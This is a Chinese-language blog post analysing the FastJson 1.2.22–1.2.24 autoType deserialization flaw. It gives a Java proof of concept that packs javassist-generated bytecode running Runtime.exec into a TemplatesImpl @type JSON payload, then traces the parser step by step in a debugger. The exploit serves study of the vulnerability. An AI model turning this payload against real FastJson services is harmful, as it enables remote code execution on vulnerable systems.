0x01 前言
FastJson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
FastJson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
影响版本:1.2.22 <= FastJson <= 1.2.24
0x02 相关知识
FastJson序列化
定义一个Java Bean。
package com.kemoon;
public class User {
private String name;
private int age;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public String toString(){
return "name:"+this.name+",age:"+age;
}
}
定义测试类,使用fastjson对Java Bean进行序列化操作。
package com.kemoon;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Fast {
public static void main(String[] args) {
User user = new User();
user.setAge(18);
user.setName("张三");
String jsonString = JSON.toJSONString(user);
System.out.println(jsonString);
String jsonString1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(jsonString1);
}
}
输出结果为:
在进行序列化时加上SerializerFeature.WriteClassName
可以使得Fastjson
支持自省,开启自省后序列化成JSON的数据就会多一个@type
,这个是代表对象类型的JSON文本。
FastJson反序列化
反序列代码如下:
package com.kemoon;
import com.alibaba.fastjson.JSON;
public class Fast {
public static void main(String[] args) {
User user = new User();
user.setAge(18);
user.setName("张三");
String jsonString = JSON.toJSONString(user);
System.out.println(jsonString);
User user1 = JSON.parseObject(jsonString,User.class);
System.out.println(user.toString());
}
}
结果如下:
然而存在一个问题,从上述代码中我们并没有看到显式的序列化及反序列化调用,并且我们创建的User类并没有实现Serializable接口,应该是不能进行序列化和反序列化的?实际这里的反序列化并不是指传统意义的反序列化readObject,而是fastjson中的将字符串解析为对象的过程,二者是很相似的。
如果将我们的用户类进行修改:
package com.kemoon;
import java.io.Serializable;
public class User implements Serializable {
private String name;
private int age;
public String getName() {
System.out.println("getName方法调用!");
return name;
}
public void setName(String name) {
System.out.println("setName方法调用!");
this.name = name;
}
public int getAge() {
System.out.println("getAge方法调用!");
return age;
}
public void setAge(int age) {
System.out.println("setAge方法调用!");
this.age = age;
}
public String toString(){
return "name:"+this.name+",age:"+age;
}
}
可以发现如果parseObject
的参数个数不同,反序列化时调用到的方法也不同,如果给parseObject
指定了反序列化的类,那么就不会调用反序列化类的getter
方法。我们有理由推测在反序列化时fastjson会取得字段的值通过setter
方法给反序列生成的类的属性赋值。
0x03 漏洞分析
TemplatesImpl链反序列化
测试代码如下:
package com.kemoon;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import javassist.ClassPool;
import javassist.CtClass;
import java.util.Base64;
public class Fast {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("Evil");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime
byte[] evilCode = payload.toBytecode();
try {
String evilCode_base64 = Base64.getEncoder().encodeToString(evilCode);
System.out.println(evilCode_base64);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{"+
"\"@type\":\"" + NASTY_CLASS +"\","+
"\"_bytecodes\":[\""+evilCode_base64+"\"],"+
"'_name':'a.b',"+
"'_tfactory':{ },"+
"'_outputProperties':{ }"+
"}";
System.out.println(text1);
ParserConfig config = new ParserConfig();
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
} catch (Exception e) {
e.printStackTrace();
}
}
}
这里使用javaassit
生成恶意字节码,传入类型为TemplatesImpl
,通过CC链的分析对于该类很熟悉了。代码也很简单。@type
字段用于存放反序列化时的目标类型,这里指定的是TemplatesImpl
这个类,Fastjson会按照这个类反序列化得到实例,因为调用了getOutputProperties
方法,实例化了传入的bytecodes
类,导致命令执行。需要注意的是,Fastjson默认只会反序列化public
修饰的属性,outputProperties
和_bytecodes
由private
修饰,必须加入Feature.SupportNonPublicField
在parseObject
中才能触发,所以TemplatesImpl
链的利用条件还是比较苛刻的。
对于整个过程,个人觉得需要关注以下几个方面:
- 为什么恶意字节码需要base64编码?
- 从@type字段加载恶意类的大概流程
- 什么时候将json中的类属性数据加载到实例?
- 什么时候对恶意的方法
_getOutputProperties_
进行调用的?
追进com.alibaba.fastjson.JSON.class#parseObject
,其中关键方法parser.parseObject
,跟进com.alibaba.fastjson.parser.DefaultJSONParser#parseObject
,跟进方法derializer.deserialze
com.alibaba.fastjson.parser.deserializer.JavaObjectDeserializer#deserialze
,最终走到一个三目运算处,此时条件为false,会执行parser.parse
方法。com.alibaba.fastjson.parser.DefaultJSONParser#parse
,因为刚开始lexer.token
为12
,代表读取到的是{
符号,则会调用parseObject
去处理,传入参数为Map
类型的object
。
当前进度:{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgBg="],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}
com.alibaba.fastjson.parser.DefaultJSONParser#parseObject
,lexer读取第二个字符,是"
,并且使用scanSymbol
方法获取到key
值@type
。
当前进度:{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgBg="],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}
中间读取了一次:
的操作,接着判断key是否等于JSON.DEFAULT_TYPE_KEY
,而这个值就等于@type
,条件为真,读取我们传入的参数com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
并调用类加载器进行加载。
当前进度:{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgBg="],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}
接着走到关键方法,deserializer.deserialze
。
两次重载后,com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze
,在while
循环中,会将sortedFieldDeserializers
中的属性给遍历一遍,没看出具体作用,该变量中有三个元素,分别是outputProperties
、stylesheetDOM
和uRIResolver
。
当fieldDeser
为null
时,扫描key
值,值为_bytecodes
。
当前进度:{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgBg="],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}
接着判断object
是否为null
,也就是存不存在TemplatesImpl
对象,如果不存在就新建实例。
接着进入关键方法this.parseField
,跟进。com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField
,这里调用smartMatch
对key
进行处理,将_
替换为空白。
接着调用parseField
方法,com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer#parseField
,接着调用this.fieldValueDeserilizer.deserialze
方法获取_bytecodes
的值。com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze
接着调用parser.parseArray
方法,跟进。
调用this.lexer.nextToken
方法获取下一个词法单元的token
,接着调用deserialze
方法获取到_bytecodes
的value
。
当前进度:{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgBg="],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}
获取到value后,调用setValue对TemplatesImpl的_bytecodes属性进行赋值,跟进setValue方法。
此处method
为null
,所以直接反射将获取到的value
赋值给object
。
接着在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze
的while
循环中获取到_name
,接下来的流程跟_bytecodes
相似。
接着时_tfactory
参数,不同的是在parseField
时,获取value
是在if
中获取的。
跟进该方法,会创建一个TransformerFactoryImpl
对象,接下来的就跟其它参数一致。
接着是_outputProperties
参数。
跟前几个参数不同的是,在setValue
时method
不为null
,而是getOutputProperties
,这就比较奇怪了。
接着会invoke
该方法,接下来就是TemplatesImpl#newTransformer
触发恶意代码了。
对于分析开始前提出的问题,有些解决了,有些没解决,甚至多出了一些问题,整理如下:
- 为什么恶意字节码需要base64编码?
在获取_bytecodes
的value
时,调用如下函数。
接着调用lexer.bytesValue
,跟进。
该方法会将_bytecodes
的值base64
解码,那为什么其它参数没有进行base64
解码呢?
比较两个参数的反序列化方法,猜测可能是byte [][]会base64解码。_bytecode
:com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze
_name
:com.alibaba.fastjson.serializer.StringCodec#deserialze
如下demo:
package com.kemoon;
import java.io.Serializable;
import java.util.Arrays;
public class User implements Serializable {
private String name;
private int age;
private byte[][] bytecode;
public String getName() {
System.out.println("getName方法调用!");
return name;
}
public void setName(String name) {
System.out.println("setName方法调用:"+name);
this.name = name;
}
public int getAge() {
System.out.println("getAge方法调用!");
return age;
}
public void setAge(int age) {
System.out.println("setAge方法调用!"+age);
this.age = age;
}
public String toString(){
return "name:"+this.name+",age:"+age;
}
public byte[][] getBytecode() {
System.out.println("getBytecode方法调用:"+ Arrays.deepToString(bytecode));
return bytecode;
}
public void setBytecode(byte[][] bytecode) {
System.out.println("setBytecode方法调用:"+ Arrays.deepToString(bytecode));
this.bytecode = bytecode;
}
}
package com.kemoon;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
public class Demo {
public static void main(String[] args) {
String data = "{\"@type\":\"com.kemoon.User\",\"age\":18,\"name\":\"张三\",\"bytecode\":[\"dGVzdA==\"]}";
System.out.println("-------------反序列化--------------");
JSONObject jsonObject= JSON.parseObject(data);
}
}
经过测试byte[]
、byte[][]
都会触发base64
解码。
- 从@type字段加载恶意类的大概流程
- 什么时候将json中的类属性数据加载到实例?
加载属性的操作都是在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze
方法中完成的。
- 什么时候对恶意的方法
_getOutputProperties_
进行调用的?
见上文调试
- [+]为什么其它参数的
_method_
为_null_
,_outputProperties_
的_method_
不为_null_
?
这部分是this.config.getDeserializer
方法中操作的。
其中会对class
的所有方法进行判定,如果满足条件则加入到List<FieldInfo>
中,条件包括方法长度大于等于4,不是静态方法,第4个字符为大写,开头字符为get
等等,这里就包括getOutputProperties
,而_tfactory
、_name
、_bytecodes
则不存在满足这些条件的方法。
0x04 总结
暂时完成了对TemplatesImpl
链对fastjson
的利用分析,只分析了个大概,其中还有很多细节没有分析清楚,不过就这样了,累了。JdbcRowSetImpl
链的分析之后再说吧。